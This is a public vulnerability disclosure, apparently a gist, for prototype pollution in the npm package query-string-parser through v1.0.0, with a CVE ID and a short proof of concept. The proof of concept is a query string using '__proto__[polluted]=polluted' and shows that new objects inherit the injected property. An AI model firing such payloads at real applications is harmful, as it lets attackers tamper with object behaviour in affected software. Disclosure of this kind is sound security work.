Public disclosure for security issue in query-string-parser npm package through version 1.0.0

gistfile1.txt

Product: https://www.npmjs.com/package/query-string-parser
Version: v1.0.0
Vulnerability type: Prototype Pollution vulnerability inside query-string-parser through version 1.0.0
CVE ID: CVE-2025-63704
Discovered: lelecolacola123, 6en6ar

Description: 
NPM package query-string-parser does not properly sanitize user supplied query parameters and merges them to the newly created object. 
This happens inside _fillValue function inside index.js, when calling fromQuery to parse query parameters.

Payload used:

> const { toQuery, fromQuery } = require('query-string-parser')
> const queryString = fromQuery("a=1&b=2&__proto__[polluted]=polluted")
> console.log("Query string object polluted: "+queryString.__proto__.polluted)
> console.log("POlluted object: " + {}.polluted)
> let obj = {}
> console.log("Newly created obj: " + obj.polluted)